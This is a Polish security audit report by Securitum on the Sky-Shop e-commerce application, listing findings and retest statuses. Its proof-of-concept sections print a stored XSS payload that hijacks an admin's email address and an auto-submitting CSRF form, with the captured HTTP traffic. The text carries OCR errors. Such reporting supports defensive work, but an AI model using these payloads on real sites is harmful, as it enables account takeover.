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Podsumowanie wykonanych prac

Niniejszy raport jest podsumowaniem testéw bezpieczenstwa przeprowadzonych przez firme Securitum.
Przedmiotem testéw byta aplikacja internetowa Sky-Shop dostepna pod adresem https://[REDACTED].mysky-
shop.pl/ oraz analiza kodu Zrodtowego aplikacji Sky-Shop.

Testy aplikacji internetowej zostaty przeprowadzone z nastepujacymi poziomami uprawnien:

e Uzytkownik nieuwierzytelniony,
e USER,
e ADMIN.

Kod Zrédtowy zostat przekazany za pomoca archiwum:
e skyshop_files.zip (SHA256: [REDACTED])
Najistotniejsze znalezione podatnosci to:

e [HIGH] SECURITUM-2422444-001: Stored Cross-Site Scripting (XSS) - mozliwo$é¢ zapisania na state
w aplikacji ztosliwego kodu HTML/JavaScript

e [MEDIUM] SECURITUM-2422444-002: Brak ochrony przed Cross-Site Request Forgery (CSRF)

e [MEDIUM] SECURITUM-2422444-004: Reflected Cross-Site Scripting (XSS) — mozliwo$¢ wykonania
ztosliwego kodu JavaScript

e [MEDIUM] SECURITUM-2422444-005: Brak ochrony przed atakami sitowymi na formularz
logowania

Informacja dotyczgca raportu publicznego: ze wzgledu na metodologie testéw oraz specyfikacje Srodowiska
klienta z raportu zostaty usuniete podatnosci o numerach SECURITUM-2422444-009 i SECURITUM-2422444-011,
oraz elementy zwigzane z analizg kodu.

Testy przeprowadzono w podejsciu "best effort", co oznacza maksymalne wykorzystanie dostepnego czasu i
zasobdw, z priorytetem na identyfikacje najwazniejszych rodzajéw podatnosci. Nie skupiano sie na
szczegdtowym przegladzie wszystkich funkcjonalnosci i elementéw aplikacji, lecz na najbardziej istotnych
aspektach bezpieczenstwa.

W trakcie prac szczegblny nacisk potozono na podatnosci majace lub mogace mie¢ negatywny wptyw na
poufnos¢, integralnos¢ oraz dostepnosc przetwarzanych danych.

Testy bezpieczenstwa przeprowadzono zgodnie z powszechnie przyjetymi metodykami testowania aplikacji
internetowych, takimi jak: OWASP Code Review Guide, OWASP TOP10 czy (w wybranym zakresie) OWASP ASVS,
jak rowniez wewnetrznymi metodykami przeprowadzania testow bezpieczeristwa firmy Securitum.

W ramach prac wykorzystano podejscie polegajace na testach manualnych opartych na wymienionych wyzej
metodykach, jak i wsparcie tych czynnosci szeregiem narzedzi automatycznych, m.in. Burp Suite Professional,
dirsearch, nmap, testssl, semgrep, SonarQube.

Podatnosci zostaty szczegdtowo opisane w dalszej czesci raportu.
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Status po retestach (13.08.2026)

W dniu 13 sierpnia 2026 przeprowadzono ponowng weryfikacje wczesniej zidentyfikowanych podatnosci.

Ponizsza tabela przedstawia aktualny status wdrozenia dziatan naprawczych dla kazdej z wykrytych
podatnosci:

Reflected Cross-Site Scripting
SECURITUM-2422444-004 (XSS) - mozliwos¢ wykonania
ztosliwego kodu JavaScript

Brak ochrony przed atakami
SECURITUM-2422444-005 ) i )
sitowymi na formularz logowania

Ciasteczka - brak atrybutow

SECURITUM-2422444-008 . ,
bezpieczenstwa

Brak nagtowka Strict-Transport-
SECURITUM-2422444-015 )
Security

Status po retestach (03.08.2026)

W dniu 3 sierpnia 2026 przeprowadzono ponowng weryfikacje wczesniej zidentyfikowanych podatnosci.

Ponizsza tabela przedstawia aktualny status wdrozenia dziatan naprawczych dla kazdej z wykrytych
podatnosci:

Stored Cross-Site Scripting (XSS)
- mozliwos$¢ zapisania na state w
SECURITUM-2422444-001 G
aplikacji ztosliwego kodu

HTML/JavaScript

Brak ochrony przed Cross-Site
Request Forgery (CSRF)

SECURITUM-2422444-002

Brak koniecznosci podania
SECURITUM-2422444-003 obecnego hasta podczas zmiany
hasta / zmiany adresu e-mail

Reflected Cross-Site Scripting
SECURITUM-2422444-004 (XSS) - mozliwos¢ wykonania
ztosliwego kodu JavaScript

Brak ochrony przed atakami
SECURITUM-2422444-005 ) i ) PARTIALLY FIXED
sitowymi na formularz logowania

48 (12) 352 33 82
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SECURITUM-2422444-006

Brak wygasania linkéw do zmiany
hasta / zmiany adresu e-mail

SECURITUM-2422444-007

Link do zmiany hasta / adresu
email zawiera adres HTTP

SECURITUM-2422444-008

Ciasteczka - brak atrybutow
bezpieczenstwa

PARTIALLY FIXED

SECURITUM-2422444-010

Wsparcie dla stabych szyfréw TLS

SECURITUM-2422444-012

Enumeracja uzytkownikéw

SECURITUM-2422444-013

Brak opcji wtaczenia 2FA

SECURITUM-2422444-014

Wylogowanie nie powoduje
uniewaznienia sesji

SECURITUM-2422444-015

Brak nagtowka Strict-Transport-
i NOT IMPLEMENTED
Security

SECURITUM-2422444-016

Brak nagtéwka Referrer-Policy _

SECURITUM-2422444-017

Wdrozenie nagtéwka X-Content-
. NOT IMPLEMENTED
Type-Options

SECURITUM-2422444-018

Ujawnianie nadmiarowych
informacji o Srodowisku w
odpowiedzi HTTP

SECURITUM-2422444-019

Nadmiarowa metoda HTTP -
HEAD

securitum




Klasyfikacja podatnosci

Podatnosci

zostaty  sklasyfikowane —w  pieciostopniowej skali  odzwierciedlajacej  zarowno

prawdopodobienstwo znalezienia podatnosci, jak i istotnos¢ skutkéw jej wykorzystania. Ponizej zawarto
krotki opis kazdego z poziomdw istotnosci:

CRITICAL (podatnosc krytyczna) — wykorzystanie podatnosci umozliwia przejecie petnej kontroli
nad serwerem lub urzadzeniem sieciowym albo pozwala uzyska¢ dostep (w trybie zapisu i/lub
odczytu) do danych o duzym poziomie poufnosci i istotnosci. Zazwyczaj podatnosc jest tez tatwa
do wykorzystania, tj. nie wymaga od napastnika posiadania dostepu do systemow, ktére sa trudne
do zdobycia, lub przeprowadzania atakdédw socjotechnicznych. Podatnosci oznaczone jako
CRITICAL powinny by¢ naprawione bezzwtocznie, jesli wystepuja na srodowisku produkcyjnym.

HIGH (podatno$¢ o wysokim poziomie istotnosci) — wykorzystanie podatnosci pozwala na
uzyskanie dostepu do wrazliwych informacji (podobnie jak przy poziomie krytycznym), jednak
moze wczesniej wymagac spetnienia pewnych warunkéw (np. posiadania konta uzytkownika
w wewnetrznym systemie) w celu praktycznego wykorzystania. Alternatywnie: podatno$¢ moze
zostac w tatwy sposob wykorzystana, jednak ograniczone sa jej skutki.

MEDIUM (podatnosc o Srednim poziomie istotnosci) — wykorzystanie podatnosci moze zaleze¢ od
zewnetrznych czynnikdw (np. wymaga przekonania uzytkownika do klikniecia w tacze) lub moze
wymagad trudnych do spetnienia warunkéw. Ponadto wykorzystanie podatnosci zazwyczaj
umozliwia dostep tylko do ograniczonej ilosci danych lub do danych o mniejszym poziomie
istotnosci.

LOW (podatno$¢ o niskim poziomie istotnosci) - wykorzystanie podatnosci ma niewielki
bezposredni wptyw na bezpieczenstwo przedmiotu testéw lub wymaga bardzo trudnych
warunkow do spetnienia (np. fizyczny dostep do serwera).

INFO (ogblne zalecenia lub informacja) - punkty oznaczone poziomem INFO nie sag
podatnosciami bezpieczenstwa. Wskazuja jednak dobre praktyki, ktérych zastosowanie pozwala
zwiekszy¢ ogblny poziom bezpieczenstwa przedmiotu testéw. Alternatywnie: zwracaja uwage na
pewne rozwigzania (np. architektoniczne), pozwalajace uszczelni¢ przedmiot testow.

Zestawienie statystyczne

Ponizej zestawienie statystyczne znalezionych podatnosci:

Krytyczne zagrozenie

Wysokie zagrozenie -

Niskie zagrozenie

Ponadto zgtoszono 9 punktow informacyjnych.
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Zestawienie statystyczne po retestach (13.08.2026)

Ponizej zestawienie statystyczne znalezionych podatnosci:

Krytyczne zagrozenie
Wysokie zagrozenie
Srednie zagrozenie

Niskie zagrozenie

Ponadto zgtoszono dwa punkty informacyjne.

Zestawienie statystyczne po retestach (03.08.2026)

Ponizej zestawienie statystyczne znalezionych podatnosci:

Krytyczne zagrozenie

Wysokie zagrozenie

Niskie zagrozenie

Ponadto zgtoszono 3 punkty informacyjne.

securitum



Spis tresci

Raport Z teStOW DEZPIECZENSTWA .....veveveverererererirersrerersrsrsrsrsreserersrersrsrersresererererererererererensnenenens 1
Podsumowanie WYKON@ANYCRN Prac .........c.ccieeeiirmmssmrmssrmrassrmnassrsmsssrsmsssrnsssssassssnssssnsssssnssssensssnnnns 2
Status po retestach (13.08.2026)......ciureuirremmuirrnusrrmnsrrsns s sirnnssses s rassrenss s —.nn—..... .. 3
Status po retestach (03.08.2026)......ciuruuirremmuirrnusrrmnsrrsnssrsassrrnsssssssssrrassrsnssensse—.nn—..... .. 3
LI E= 1S3 V1= T = T oL Yo £ 1 T Y= o 5
Zestawienie STatySIYCZNE ... iieiiiicircrr s rrress s re s e s s e s sm e sre s s srmmsssrnmsss sennssrnmnssranmnnsrnnnsrnnnn 5
Zestawienie statystyczne po retestach (13.08.2026).....ccccceerrirrmmmrirrrimrmmsssrrersnnsssrressnnssssrressnsssseen 6
Zestawienie statystyczne po retestach (03.08.2026).....ccccccerrirrmmmrirrrimrmnsssrremsmnssssrremsnnssssersssnssseen 6
L L1 0 4 = I 1 1] = T 9
PodatnosSci w aplikacji INtEIrNELOWE)........veveveveririreririrereresssersrsssssrssesesesesesesesssssssssssssesssesssnnen 10

[FIXED][HIGH] SECURITUM-2422444-001.: Stored Cross-Site Scripting (XSS) - mozliwo$§¢ zapisania

na state w aplikacji ztoSliwego kodu HTML/JaVaSCript.....cccveuremrerrerrererrrrrssssssssssssmsmsnsmsssesseerserensns 11
Przyktad #1 — wykonanie kodu JavaScript jako adminiStrator ... 12
Przyktad #2 - praktyczne uzycie podatnosci do przejecia konta administratora ..., 13

[FIXED][MEDIUM] SECURITUM-2422444-002: Brak ochrony przed Cross-Site Request Forgery
(0] 4 TS 17

[FIXED][LOW] SECURITUM-2422444-003: Brak koniecznoSci podania obecnego hasta podczas
zmiany hasta / zmiany adresu €-Malil ........ceccciiiiiirciiiiir s e s rr e e e r e e mem s 20

[FIXED][MEDIUM] SECURITUM-2422444-004: Reflected Cross-Site Scripting (XSS) - mozliwosé
wykonania ztoSIiWeg0o KOAU JAVASCIIPL vuvviiieirirrsrsrnsnsnsnsrnsssreerererssssssssssssssssssssnsssssssensns s sessnsssnsassnnns 23

[FIXED][MEDIUM] SECURITUM-2422444-005: Brak ochrony przed atakami sitowymi na formularz
[0 =01 = Y o - 27

[FIXED][LOW] SECURITUM-2422444-006: Brak wygasania linkéw do zmiany hasta / zmiany adresu

......................................................................................................................................................... 31
[FIXED][LOW] SECURITUM-2422444-008: Ciasteczka - brak atrybutow bezpieczenstwa............ 33
[FIXED][LOW] SECURITUM-2422444-010: Wsparcie dla stabych Szyfrow TLS ......ccccccerererrerereenenns 36
L0701 20828 11 0] 4 1 T= T3/ [ L= N 38
[IMPLEMENTED][INFO] SECURITUM-2422444-012: Enumeracja uzytkOWniKOWw .........cccussmerrsanes 39
Przyktad #1 — 0dzysKIWania NASta ... e 39
Przyktad #2 — re]eStracja KONTa ... . 40
[IMPLEMENTED][INFO] SECURITUM-2422444-013: Brak opcji wtgczenia 2FA........cccccoerrrinrirnnns 41

[IMPLEMENTED][INFO] SECURITUM-2422444-014: Wylogowanie nie powoduje uniewaznienia sesji



[IMPLEMENTED][INFO] SECURITUM-2422444-015: Brak nagtéwka Strict-Transport-Security...... 44

[IMPLEMENTED][INFO] SECURITUM-2422444-016: Brak nagtowka Referrer-Policy .......cccccvveeenn. 46
[NOT IMPLEMENTED][INFO] SECURITUM-2422444-017: Wdrozenie nagtowka X-Content-Type-
0 o )1 10 T 47

[IMPLEMENTED][INFO] SECURITUM-2422444-018: Ujawnianie nadmiarowych informacji o
SrodOWISKU W OAPOWIEAZI HTTP ...uciiiiiiiiiireireesesnmssssssssssssssssssissmesmsssssssssssssssssssssssssenssesssssnssnssnnssnssnns 48

[IMPLEMENTED][INFO] SECURITUM-2422444-019: Nadmiarowa metoda HTTP - HEAD.............. 49



Historia zmian

Data dokumentu Wersja | Opis zmiany

13.08.2026 1.2 Ponowne testy wskazanych podatno$ci przeprowadzone na zlecenie
klienta:

o SECURITUM-2422444-004,

e SECURITUM-2422444-005,

e SECURITUM-2422444-008,

o SECURITUM-2422444-015.
Raport zostat zaktualizowany o wyniki drugiego retestu, zarébwno w
podsumowaniu wykonanych prac, jak i przy kazdej z retestowanych
podatnosci. Dodatkowo w raporcie uwzgledniono statystyczne
podsumowanie wynikdw drugiego retestu.

03.08.2026 1.1 Przeprowadzono retest wczesniej zidentyfikowanych podatnosci.
Raport zostat zaktualizowany o status po retestach zarbwno w
podsumowaniu wykonanych prac, jak i przy opisie kazdej podatnosci.
Dodatkowo dodano statystyczne podsumowanie wynikdw retestu.

12.02.2026 1.0 Wersja koficowa raportu.
Dodano podatnosci od SECURITUM-2422444-004 do SECURITUM-
2422444-019.
Zaktualizowano opisy wszystkich podatnosci.

28.01.2026 0.1 Utworzenie wersji roboczej raportu.
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Podatnosci w aplikacji internetowe;
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[FIXED][HIGH] SECURITUM-2422444-001: Stored Cross-Site Scripting

(XSS) — moziliwos¢ zapisania na state w aplikacji ztosliwego kodu
HTML/JavaScript

STATUS PO RETESTACH (03.08.2026)

Podatnosc zostata usunieta. Aplikacja prawidtowo odrzuca zmodyfikowane Zadania zawierajace zto$liwy kod
HTML/JavaScript w polu email. W odpowiedzi serwer zwraca komunikat {"success":false}, a przestane dane
nie sg zapisywane w bazie danych. W rezultacie w panelu administracyjnym nie pojawia sie wstrzykniety kod
HTML/JavaScript.

Przyktadowe zadanie ze zmienionym adresem e-mail:

POST /ticket/?json=1 HTTP/2
Host: [REDACTED].mysky-shop.pl
[..]

title=test&email=<img+src+onerror%3dalert(1l)>&text=test&submit=submit&is_js=1&csrf_token=d3860da2
1bb5cl6ble3ebc492e17ba232b3]...]

Odpowied? serwera:

HTTP/2 200 OK
Date: Mon, 03 Aug 2026 07:06:08 GMT

[.]

{"success":false}

oris

Audyt wykazat, iz mozliwe jest zapisanie na state w aplikacji dowolnego kodu HTML/JavaScript, ktéry jest
nastepnie wykonywany w kontekscie panelu administratora. Takie zachowanie mozna wykorzysta¢ do
przejecia konta administratora a nastepnie kradziezy dowolnych danych / zmiany danych w aplikacji.

Wiecej informacji:

e https://sekurak.pl/czym-jest-xss/

e https://cdn.sekurak.pl/podatnosc XSS.pdf

e https://owasp.org/www-community/attacks/xss/
e https://cwe.mitre.org/data/definitions/79.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Uprzywilejowany uzytkownik musi otworzy¢ zgtoszenie zawierajace ztosliwy kod.
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https://sekurak.pl/czym-jest-xss/
https://cdn.sekurak.pl/podatnosc_XSS.pdf
https://owasp.org/www-community/attacks/xss/
https://cwe.mitre.org/data/definitions/79.html

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Przyktad #1 — wykonanie kodu JavaScript jako administrator

Aby potwierdzi¢ podatno$¢ nalezy przejs¢ do formularza zgtoszeniowego https://[REDACTED].mysky-
shop.pl/contact.

Podatnosc¢ XSS moze zostat wykonana przez pole z nazwa uzytkownika (ktore jest dotaczane, jezeli uzytkownik
posiada konto w aplikacji), nastepnie wystanie formularza ze zgtoszeniem.

Jednak tatwiejszym sposobem wykorzystania podatnosci jest uzycie pola email w formularzu zgtoszeniowym,
gdyz nie wymagane jest wtedy zaktadanie konta w aplikacji.

Nalezy wystac formularz zgtoszeniowy, nastepnie przechwyci¢ zadanie narzedziem proxy takim jak Burp Suite
i wstrzykna¢ XSS w polu email. Przyktad Zadania ze zmienionym adresem e-mail:

POST /ticket/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=4[..]Jo; SERVERID=apache-web; js_hash=a[..]7; device_view=full; [REDACTED]=d[..]0;
[..]

Content-Length: 197

X-Requested-With: XMLHttpRequest

User-Agent: [..]

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/contact
Accept-Encoding: gzip, deflate, br

[..]

[..]&email=<img+src+onerror%3dalert(document.domain)>&[..]&is_js=1&csrf_token=f3[..]90

Nastepnie nalezy zalogowa¢ sie jako administrator i przejs¢ do panelu administratora
(https://[REDACTED].mysky-shop.pl/admin/) > [REDACTED]. Kod wykona sie:

shop.pl says

2.pl
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Dodatkowo osadzenie kodu w stronie mozna zweryfikowa¢ uzywajac narzedzi deweloperskich w
przegladarce:

Strona z1

R [0 Elements Cinsole So Network Performance  Memory ion  Privacy and security  Lighthouse  Recorder  DOM Invader

Przyktad #2 — praktyczne uzycie podatnosci do przejecia konta administratora

Ponizsze zadanie jest wysytane do tego samego endpointu co w poprzednim przyktadzie, zmieniono jednak
kod JavaScript na taki ktory zmienia adres e-mail administratora:

POST /ticket/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=4r[..]Jto; SERVERID=apache-web; js_hash=a[..]7; device_view=full;
[REDACTED]=dde[..190; [..]

Content-Length: 405

X-Requested-With: XMLHttpRequest

User-Agent: [..]

Accept: */*

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/contact
Accept-Encoding: gzip, deflate, br

[..]

title=WA%C5%BBNE!!!!&email=<img+src%3dx+onerror%3d"with(new+XMLHttpRequest)open('POST", ' /register
/[..1/1/%3fjson%3d1"), setRequestHeader( 'Content-Type"', "application/x-www-form-
urlencoded'),send('user_email%3dattacker%2540im84w[...] . [REDACTED] " )" >&text=WA%C5%BBNE!!!!&submit=s
ubmit&is_js=1&csrf_token=1f[..]98

Nastepnie nalezy zalogowac¢ sie jako administrator i przejs¢ do panelu administratora
(https://[REDACTED].mysky-shop.pl/admin/) > [REDACTED].




Przyktad zadania wykonanego przez aplikacje po przejsciu do list zgtoszen:

POST /../?json=1&action=1oad& rq=a[..]4& dc=[..] HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: tick=%7B[..]%7D; cc_cookie={"c[..]Z"}; _fbp=fb.[..]QEA; device_view=full; SERVERID=ap[..]eb;
at_priv=785[..]1364; videoShowed=1; win_popup=%7B[..]%7D; lastseen=98-108; order_unique=0.[..]28;
[REDACTED]=c57[..]720; PHPSESSID=ga[..]ag; autologin=eyJ[..]SJ9; js_hash=aa[..]d7

Content-Length: 42

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

User-Agent: [..]

Accept: */*

Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/admin/

[..]

start=0&1imit=25&sort=ticket_date&dir=DESC

Odpowied? aplikacji zawiera kod HTML:

HTTP/2 200 OK
Server: Apache
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Powered-By: Sky-shop
"success":true, "totalCount":{"count":"1"},"store":[{"[..]":"<img src=x onerror=\"with(new
XMLHttpRequest)open('POST", '\/[..]\/[..]1\/1\/?]json=1"),setRequestHeader('Content-Type', 'x-www-form-
urlencoded'),send('user_email=attacker%40im84wv|[..].[REDACTED]')\">","ticket_order_id":null, "ticke
t_assignet_to_admin":null,"ticket_status":"todo","ticket_title":"WA\u@1l[..]

Kod wykona sie i e-mail administratora zostanie zmieniony przez ponizsze zagdanie:

POST /register/emailchange/1/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: [REDACTED]=c5[..]20; PHPSESSID=gal[..]ag; autologin=ey][..]SJ9; js_hash=a[..]7; [..]
Content-Length: 68

Content-Type: application/x-www-form-urlencoded

User-Agent: [..]

Accept: */*

Origin: https://[REDACTED].mysky-shop.pl

Referer: https://[REDACTED].mysky-shop.pl/admin/

Accept-Encoding: gzip, deflate, br

[.]

user_email=attacker%40im84w][..]. [REDACTED]




Dodatkowo osadzenie kodu w stronie mozna zweryfikowa¢ uzywajac narzedzi deweloperskich w
przegladarce:

WAZNE!!  target=" blanb, 2026-01-26 17:01:46 v

©

Strona 121 Pokaz: 25 Wyswietlanie: 1 - 1, Wszystkie: 1

Elements Console Sources Network Performance Memory  Applic: i Lighthouse  Recorder  DOM Invader 1m23 @ i X

v <tbody Styles Computed Layout >

o . . . binde ¥ Filter hov s +, @ [
< x-grid3-cell x-grid3-td-@ x-grid3-cell-first " style t 2 ex td> “

dark-mode-t..9408933:789

dark-mode-t..08933:14628
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#414E71 #1e2742;
e hoooelti sorests T G G
= - clip-m in: content-box;
w: » clip;
Inherited from a
ad{ dark-mode-t..08933:12565
cursor: pointer;

Atakujacy moze nastepnie przejs¢ pod link wystany w adresie e-mail, aby pozyskac sesje administratora:

GET /../1/key/5[..]1d HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=4[..]Jo; [REDACTED]=dd[..]90; js_hash=7364a08590; [..]
User-Agent: [..]

[..]

Odpowied? aplikacji ustawiajaca nowa sesje:

HTTP/2 200 OK

Server: Apache

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Set-Cookie: at_priv=5[..]e; expires=Tue, 26 Jan 2027 16:14:09 GMT; Max-Age=31536000; path=/;
HttpOnly

Set-Cookie: PHPSESSID=f[..]d; path=/; HttpOnly
Vary: Accept-Encoding

Content-Length: 134786

Content-Type: text/html; charset=utf-8
X-Powered-By: Sky-shop

[..]

<!DOCTYPE html>
<html lang="pl" currency="PLN" class=

[.]

>

W ten sposob atakujacy uzyskuje sesje administratora oraz permanentny dostep - mozliwos¢ zmiany hasta
poprzez nowy adres e-mail (podatnos¢ SECURITUM-2422444-003).

securitum




LOKALIZACIA

[REDACTED]

REKOMENDACIA

Zaleca sie, aby wszystkie dane otrzymywane od uzytkownika byty odpowiednio filtrowane (odrzucenie
wartosci niezgodnych z szablonem/formatem danego pola), a nastepnie zakodowane na wyjsciu wzgledem
kontekstu, w ktérym sg osadzane (we wszystkich miejscach aplikacji, nie tylko tych wyszczegdlnionych w
czesci ,Szczegdty techniczne”).

W tym celu najlepiej zweryfikowa¢, czy wykorzystywany przez aplikacje framework posiada wbudowane
funkcje, ktore realizuja opisane zalecenie.
Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Cross Site Scripting Prevention Cheat Sheet.ht
ml

e https://cheatsheetseries.owasp.org/cheatsheets/XSS Filter Evasion Cheat Sheet.html

e https://cheatsheetseries.owasp.org/cheatsheets/Input Validation Cheat Sheet.html

securitum
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STATUS PO RETESTACH (03.08.2026)

Podatnos¢ zostata usunieta. Endpoint /register/emailchange/1/?json=1 wymaga podania hasta
uzytkownika w celu zmiany adresu e-mail. Dodatkowo aplikacja automatycznie dotacza token CSRF do
zadania zmiany adresu e-mail i weryfikuje go po stronie serwera — zadania bez tokenu, z btednym lub pustym
tokenem, sg odrzucane ({"success":false}).

oris

Testowana aplikacja nie implementuje zabezpieczen przed atakami Cross-Site Request Forgery. Atakujacy
naktaniajac uzytkownika-ofiare do przejscia pod adres, pod ktorym umieszczony zostanie ztosliwy kod
HTML/JavaScript moze wykonac w jego imieniu dowolng akcje w testowanej aplikacji.

Podatno$¢ dotyczy wielu miejsc w aplikacji. Ponizej zaprezentowano przyktad, ktéry pozwala przejac
dowolne konto w aplikaciji.

Wiecej informacji:

https://sekurak.pl/czym-jest-podatnosc-csrf-cross-site-request-forgery/
https://owasp.org/www-community/attacks/csrf
https://owasp.org/www-project-code-review-guide/reviewing-code-for-csrf-issues
https://cwe.mitre.org/data/definitions/352.html

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Naktonienie uzytkownika do odwiedzenia strony ze ztosliwym kodem.

SzCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Z uwagi na fakt, ze przegladarki bazowane na Google Chrome ustawiajg na wszystkich ciasteczkach domyslnie
flage sameSite na wartos¢ Lax ponizszy przyktad zostat wykonany uzywajac przegladarki Mozilla Firefox. Nalezy
réwniez zaznaczyc, ze w Google Chrome wartos¢ jest ustawiana po 120 sekundach od ustawienia ciasteczka,
co daje atakujgcemu dodatkowa mozliwos$¢ ataku w tym czasie.

Ponizszy przyktad wykorzystuje rowniez podatno$¢ SECURITUM-2422444-003, aby zaprezentowac praktyczne
wykorzystanie obu podatnosci do przejecia konta uzytkownika.

Ponizej przedstawiono przyktadowy kod HTML/JavaScript ktéry atakujacy mogtby umiescic na swojej stronie.
Kod powoduje zmiane adresu e-mail (przyktadowy e-mail zaznaczono na z6tto) na koncie uzytkownika
zalogowanego w aplikacji, ktéry odwiedzi strone.

<html>
<body>
<form action="https://[REDACTED].mysky-shop.pl/register/emailchange/1/?json=1" method="POST">
<input type="hidden" name="user&#95;email"” value="test&#64;s5yef57
[...]m8&#46 ; X&#46 ; [REDACTED | &#46;pl" />
<input type="submit" value="Submit request" />
</form>
<script>

48 (12) 3523382 www.securitum.pl
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history.pushState('', "', '/');
document.forms[@].submit();
</script>
</body>
</html>

Zadanie wystane przez przegladarke uzytkownika po odwiedzeniu strony:

POST /register/emailchange/1/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=66[..]rl; SERVERID=apache-web; js_hash=7[..]0; [REDACTED]=77[..]e7; _fbp=Ffb[..]A;
autologin=eyJ[..]J9

User-Agent: Mozilla/5.0 [..] Firefox/147.0

Content-Type: application/x-www-form-urlencoded

Content-Length: 63

Origin: http://burpsuite

Referer: http://burpsuite/

[..]

user_email=test%40s5yef571qt2f4tbpax|[..]. [ REDACTED]

Aplikacja akceptuje zadanie zmiany adresu e-mail:

HTTP/2 200 OK

Server: Apache

Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: referer=burpsuite; expires=Sat, 23 Jan 2027 16:27:32 GMT; Max-Age=31536000; path=/
Content-Type: application/json; charset=utf-8

X-Powered-By: Sky-shop

"success":true,"msg":"Na podany adres e-mail: <b>test@s5yef571qt[...].[REDACTED]<\/b>
wys\u@142ali\u@l5bmy potwierdzenie zmiany poprzedniego adresu e-mail. Aby aktywowa\u©107 nowy
adres, prosimy klikn\u©105\u@107 w link wys\u@l42any w e-mailu.<br \/><br \/>Poprzedni adres e-
mail b\u@119dzie aktywny do czasu potwierdzenia nowego."}

LOKALIZACIA

[REDACTED]




REKOMENDACIA

Aplikacja powinna przesyta¢ w zapytaniach HTTP zmieniajacych stan aplikacji tokeny anty-CSRF. Tokeny
powinny by¢ nastepnie walidowanie po stronie serwera. Zadania niezawierajace tokena lub token z btedna
wartoscia  powinny  by¢  odrzucane.  Zaleca  sie  zweryfikowaé, czy  wykorzystywany
w aplikacji framework posiada wbudowane mechanizmy chroniace przed CSRF.

Nalezy rbwniez rozwazy¢ ustawianie flagi SameSite na waznych ciasteczkach takich jak PHPSESSID.
Wiecej informacji:

e https://cheatsheetseries.owasp.org/cheatsheets/Cross-
Site Request Forgery Prevention Cheat Sheet.html
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[FIXED][LOW] SECURITUM-2422444-003: Brak koniecznosci podania
obecnego hasta podczas zmiany hasta / zmiany adresu e-mail

STATUS PO RETESTACH (03.08.2026)

Podatnos¢ zostata usunieta. Endpointy /register/emailchange/1/?json=1 oraz /passrecover/?json=1
wymagaja teraz podania aktualnego hasta uzytkownika. Zadania bez lub z btednym hastem sg odrzucane
przez serwer co uniemozliwia zmiane adresu e-mail lub hasta bez wczesniejszej weryfikacji tozsamosci
uzytkownika.

(0]:1Y

W trakcie realizacji testow zaobserwowano, iz mozliwa jest zmiana adresu e-mail na koncie bez podania
obecnego hasta lub potwierdzenia zmiany na starym adresie e-mail. Atakujacy ktére uzyska dostep do konta
uzytkownika bedzie moégt ustawi¢ nowy adres e-mail dla konta, nastepnie zmienic¢ hasto, przejmujac konto
permanentnie.

Podatno$¢ dotyczy réwniez kont administratoréw w aplikacji. Praktyczne uzycie podatnosci
zaprezentowano w podatnosciach SECURITUM-2422444-001 oraz SECURITUM-2422444-002 gdzie uzywana jest
ona, aby przejac¢ konto administratora.

Wiecej informacji:

e https://cwe.mitre.org/data/definitions/620.html

e https://www.owasp.org/index.php/Testing for weak password change or reset functionalities (
OTG-AUTHN-009)#Test Password Change

WARUNKI NIEZBEDNE DO WYKORZYSTANIA PODATNOSCI

Pozyskanie sesji uzytkownika przez inny rodzaj ataku np. CSRF, XSS.

SZCZEGOLY TECHNICZNE (PROOF OF CONCEPT)

Ponizej zaprezentowano przyktadowy scenariusz jaki mégtby wykorzystaé atakujacy:

Atakujacy uzyskuje dostep do konta ofiary ataku.

Atakujacy zmienia adres e-mail przypisany do konta.

Atakujacy zmienia hasto i potwierdza zmiane przez nowy adres e-mail.
Ofiara probuje zalogowad sie do konta, niestety dane logowania nie dziataja.

ok W

Atakujacy w tym czasie wykonuje nieautoryzowane operacje.
Aby zmieni¢ hasto w aplikacji, nalezy przejs¢ do https://[REDACTED].mysky-shop.pl/register/emailchange/1/

Przyktadowe zadanie zmieniajace adres e-mail:

POST /register/emailchange/1/?json=1 HTTP/2

Host: [REDACTED].mysky-shop.pl

Cookie: PHPSESSID=82[..]nb; [REDACTED]=dd@[..]890; [..]
Content-Length: 69

X-Requested-With: XMLHttpRequest

User-Agent: [..]

Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8



https://cwe.mitre.org/data/definitions/620.html
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Origin: https://[REDACTED].mysky-shop.pl
Referer: https://[REDACTED].mysky-shop.pl/register/emailchange/1/

user_email=attacker2%40im[..]. [REDACTED]

Odpowied? aplikacji potwierdza zmiane oraz wystanie linku aktywujacego na nowy e-mail:

HTTP/2 200 OK
Server: Apache
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json; charset=utf-8
X-Powered-By: Sky-shop
"success":true,"msg":"Na podany adres e-mail: <b>attacker2@im84wvob7[...].[REDACTED]<\/b>
